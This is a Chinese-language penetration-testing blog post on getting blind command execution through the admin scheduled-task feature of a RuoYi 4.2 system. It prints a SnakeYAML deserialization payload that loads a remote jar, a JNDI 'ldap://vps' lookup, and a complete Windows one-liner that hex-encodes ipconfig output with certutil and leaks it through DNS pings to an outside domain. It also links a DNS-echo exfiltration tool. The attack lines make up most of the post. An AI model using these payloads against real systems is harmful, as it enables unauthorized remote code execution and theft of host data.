日常漏洞挖掘中发现了一处若依系统,进入后台后尝试使用常规方法加载jar包来注入内存马
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')
执行定时任务后,系统成功访问到了放在vps上的jar包
尝试访问内存马,直接跳转回登录界面,内存马注入失败(之后f0ng师傅研究了一下,若依4.2版本的系统使用目前公开的内存马工具是无法成功注入的)
内存马注入失败后就无法执行命令了?此时我想到了使用ldap协议,若依的后台定时任务是可以使用ldap协议来执行命令的
javax.naming.InitialContext.lookup('ldap://vps')
尝试使用DNSURL看哪条链可以使用
启动jndi,成功接收到请求
DNS成功获取到请求,说明该链可以使用
尝试直接执行命令ping dns服务器
命令执行成功,jndi与dns获取到请求
到了执行命令这一步,就可以进行上线或者其他各种操作了。但是,若依的定时任务漏洞无回显,尝试powershell、远程下载文件进行上线都无法成功,该漏洞似乎到此为止了。
虽然命令执行没有回显,也无法上线,但是DNS出网,可以DNS来回显命令执行的结果
获取DNS回显需要一个工具
https://github.com/A0WaQ4/HexDnsEchoT
该工具是我修改了sv3nbeast师傅的工具,原本的工具因为DNS服务器时区更改而无法使用了,我在此基础上修复了该工具,并添加了一些新的功能,让其使用更加方便。其原理是将命令执行的结果输入到一个文件中,再对其进行hex编码生成txt文件,之后再逐行读取文件,将hex编码外带到DNS上,此时工具访问DNS服务器,对dns结果进行整理拼接,最后hex解码,获取到原本的命令执行结果。
利用该工具生成的以下命令,我成功的获取到了命令执行回显,获取到了目标机器的信息
del ipconfig7 && del ipconfig7.txt && ipconfig > ipconfig7 &&echo 11111111111>>ipconfig7 && certutil -encodehex ipconfig7 ipconfig7.txt && for /f "tokens=1-17" %a in (ipconfig7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.ipconfig.bec7d9a8.dnsbug.cn.
渗透测试要细心大胆,对于一些极端环境多思考,总会存在解决方法。